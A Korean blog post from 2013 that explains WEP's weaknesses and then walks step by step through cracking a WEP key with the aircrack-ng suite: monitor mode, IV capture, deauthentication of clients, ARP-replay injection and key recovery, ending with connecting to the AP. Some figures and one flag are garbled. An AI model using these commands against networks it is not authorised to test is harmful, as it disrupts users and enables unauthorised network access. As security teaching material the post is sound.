Thursday, July 18, 2013

무선 - wep

 
WEP이란?
 
  유선 동등 프라이버시(wired Equivalent privacy)란 의미로  무선네트워크에 사용 가능했던 첫 암호화 표준(rc4 알고리즘)이다.  유선동등프라이버시라는 의미와 무색하게 2001년 초 암호학자들이 치명적인 약점을 발견하였다. 약점이 발견된지 몇달내로 IEEE는 802.11i 팀을 만들어 WPA로 WEP를 대체하게 하였다.
  보안문제가 존재하지만 WEP는 아직 널리 사용되고 있다.
 
  1999년에 비준된 WEP는 스트림 암호화 기법인 RC4를 이용하여 CRC-32체크섬을 통해 무결성을 확보하였다.
  표준 64비트 WEP는 40비트 키를 사용하며, 여기에 24비트 길이의 초기화벡터-IV(Initialization Vector) 가 더해져 64비트의 RC4 트래픽 키가 된다. 주요 제조사에서는 104 비트의 키 길이를 사용하는 확장된 128비트 WEP 프로토콜을 구현하였다.
  이는 사용자가 16진수 문자(0-9, A-F)로 이루어진 26글자의 문자열을 입력해야 한다. 16진수 문자하나는 4비트이므로 26글자는 4*26=104비트가 되며, 여기에 24비트의 IV를 더해 128비트의 WEP 키를 만든다.
 
  RC4 알고리즘은 이미 깨져 복호화가 가능하지만 RC4트래픽 키는 IV와 KEY로 이루어지므로, RC4트래픽키를 복호화 해도 IV와 KEY가 더해진 값이므로 IV를 모르면 KEY를 구할 수 없다.
 
  결국 IV를 구하는 것이 관건이지만 IV는 재사용을 하므로 재사용된 IV를 비교하여 KEY값을 구하는 것이 가능하다.
데이터가 아래 갯수의 간격으로 IV가 재사용되므로 아래 갯수 이상으로 데이터를 수집한 후 재사용된 IV를 비교하여 KEY값을 크랙한다. 
24비트 IV는 패킷이 5천개(data 1천개 이상)   
64비트 IV는 패킷이 5만~20만개(data 2만개 이상)
128비트 IV는 패킷이 20만~70만개(data 4만~8만개 이상)      


 
 WEP 해킹
 
1. 무선랜 환경설정
  기본적으로 VMware를 이용하여 BackTrack을 사용할 때 BackTrack은 랩톱의 무선랜 카드를 인식하지 못하니 USB 방식의 무선랜을 사용해야 한다.왜냐하면  VMware에서는  실제 장비로부터 NAT, Bridge등의 방식으로  데이터를 주고 받기 때문에 VMware에 설치된 리눅스 운영체제는 자신의 Network Adaptor를 wired state로 인식하기 때문이다.

   ifconfig 나 iwconfig를 입력해보면 wlan0이라는 이름으로 wireless network adaptor를 인식하는 것을 확인할 수 있다.  리눅스는 무선랜의 칩셋에 따라 다른 이름으로 무선랜을 인식하는데 atheros 칩셋의 경우 ath0, 그 외 칩셋의 경우 wlan0으로 인식한다.
  root@bt:~# iwconfig    -> 무선랜카드가 제대로 인식되었고 사용할 수있는 상태인지 확인
  root@bt:~# ifconfig wlan0 up   -> 무선랜 인터페이스 활성화
  root@bt:~# airmon-ng   -> 무선랜 상태 확인 

 
2. Airmon-ng를 이용한 무선랜 카드의 Monitor mode
 
인식된 USB Wireless Network Adaptor를 이용하여 목표한 무선 AP로 전달되는 패킷을 확인하기 위해서는 monitor mode로 변경해야한다.
 
root@bt:~# airmon-ng start wlan0   (끄기는 root@bt:~# airmon-ng  stop wlan0)
                     -> wlan0에 대응하는 모니터모드 인터페이스를 생성한다.->mon0
                         모니터모드 인터페이스 mon0 는 무선랜카드에 대응되며 공기중의 무선 패킷을
                         스니핑하는데 이용된다.
root@bt:~# airodump-ng mon0   -> 모니터링을 통해 크랙 하고자 하는 AP BSSID
                                                              Channel 을 찾는다


3. airodump-ng를 이용한 IV 캡쳐

AP BSSID Channel 을 지정하여 수집되는 패킷을 파일로 저장한다
크랙하고자 하는 AP의 BSSID가 00-11-22-33-44-55 이고 channel 이 10이고 저장할 파일명을 test라고 한다면 아래와 같이 입력한다.

root@bt:~# iwconfig mon0 channel 10 
                     -> AP에서 오가는 데이터 패킷을 스니핑하려면 무선 랜카드를 액세스 포인트와
                         동일한 채널인 10으로 고정해야 한다.
root@bt:~# airodump-ng mon0 --bssid 00-11-22-33-44-55 --channel 10 --wirte test
                     -> mac주소(00-11-22-33-44-55 ) 는 AP의 mac 주소                                 

  항목 중  #Data. 에  수가 증가하기 시작한다.  보통 WEP 64bit 암호 방식을 사용할 경우 5만개,   WEP 128bit의 경우 20만개 정도가 필요하하므로 사용량이 적은 경우 오랜시간이 걸릴 수 있다.

현재 AP에 접속중인 Client의 연결을 끊도록 하여 키스트림을 얻는다.
AP 의 bssid(mac 주소)가 00-11-22-33-44-55, Client 맥주소 66-77-88-99-00-11 이라면
새로운 터미널을 열고 아래와 같이 입력한다.

root@bt:~# aireplay-ng -0 10 -a 00-11-22-33-44-55 -c 66-77-88-99-00-11 mon0
                    -> 대상AP에 연결된 모든 클라이언트로 인증 해제 패킷을 전송한다.
                    -> 클라이언트는 AP에 접속할때 ssid를 노출한다.
                    -> -0(인증해제공격),  10(전송할 인증 해제 패킷 갯수),  -a(타겟 AP의 mac 주소)

ARP Request 패킷을  대량으로 보내 IV를 빠르게 수집한다.

root@bt:~# aireplay-ng -3 -b 00-11-22-33-44-55 -h 66-77-88-99-00-11 mon0



4. aircrack-ng를 사용한 WEP-key Crack

어느정도 수집이 되었다고 생각이 들면 터미널을 추가로 열고 ls 명령어로 파일을 확인한다.
test라는 파일명에 저장했으므로 test-01.cap,  test-01.csv 등의 파일이 만들어져 있다.
중간 중간 아래 명령어로 크랙이 되는 지 확인한다.

root@bt:~aircrack-ng  test-01.cap

크랙이 되었다면 아래와 같은 메시지가 나온다.  .

 KEY FOUND! [WEP key의 HEX 값] (ASCII: 아스키코드값)
 Decrypted correctly : 100%

알아낸 키값(ASCII값)을 이용하여 무선 AP에 접속할 수 있다.

No comments:

Post a Comment